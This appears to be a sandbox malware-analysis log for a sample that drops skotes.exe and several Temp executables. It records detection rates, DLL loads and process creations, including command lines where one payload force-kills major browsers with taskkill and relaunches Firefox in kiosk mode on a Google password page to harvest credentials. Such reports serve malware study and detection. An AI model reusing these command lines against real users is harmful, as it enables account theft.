Source: 7e96f85771.exe, 00000008.00000002.3210049328.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7e96f85771.exe, 00000008.00000002.3194324257.000000001D912000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: g4Cyr2T5jq.exe	ReversingLabs: Detection: 55%
Source: g4Cyr2T5jq.exe	Virustotal: Detection: 52%

Source: g4Cyr2T5jq.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 7e96f85771.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe

File read: C:\Users\user\Desktop\g4Cyr2T5jq.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\g4Cyr2T5jq.exe "C:\Users\user\Desktop\g4Cyr2T5jq.exe"
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe "C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe "C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe "C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe "C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe"
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2172 -parentBuildID 20230927232528 -prefsHandle 2120 -prefMapHandle 2112 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e8f79fb1-7992-418d-8066-e9420ef7e2ed} 5040 "\\.\pipe\gecko-crash-server-pipe.5040" 2881366dd10 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe "C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001137001\num.exe "C:\Users\user\AppData\Local\Temp\1001137001\num.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3408 -parentBuildID 20230927232528 -prefsHandle 1796 -prefMapHandle 3296 -prefsLen 26395 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {225d9705-84ed-4a26-82df-72d52f28abca} 5040 "\\.\pipe\gecko-crash-server-pipe.5040" 28823e5ac10 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe "C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe"
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001137001\num.exe "C:\Users\user\AppData\Local\Temp\1001137001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2136 -parentBuildID 20230927232528 -prefsHandle 2072 -prefMapHandle 2064 -prefsLen 25350 -prefMapSize 238051 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {64e16daa-e3c5-4180-ad1c-d8059eba0827} 6768 "\\.\pipe\gecko-crash-server-pipe.6768" 1eeea770d10 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe "C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe "C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe"
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe "C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe "C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe "C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001137001\num.exe "C:\Users\user\AppData\Local\Temp\1001137001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2172 -parentBuildID 20230927232528 -prefsHandle 2120 -prefMapHandle 2112 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e8f79fb1-7992-418d-8066-e9420ef7e2ed} 5040 "\\.\pipe\gecko-crash-server-pipe.5040" 2881366dd10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3408 -parentBuildID 20230927232528 -prefsHandle 1796 -prefMapHandle 3296 -prefsLen 26395 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {225d9705-84ed-4a26-82df-72d52f28abca} 5040 "\\.\pipe\gecko-crash-server-pipe.5040" 28823e5ac10 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2136 -parentBuildID 20230927232528 -prefsHandle 2072 -prefMapHandle 2064 -prefsLen 25350 -prefMapSize 238051 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {64e16daa-e3c5-4180-ad1c-d8059eba0827} 6768 "\\.\pipe\gecko-crash-server-pipe.6768" 1eeea770d10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: iertutil.dll	Jump to behavior
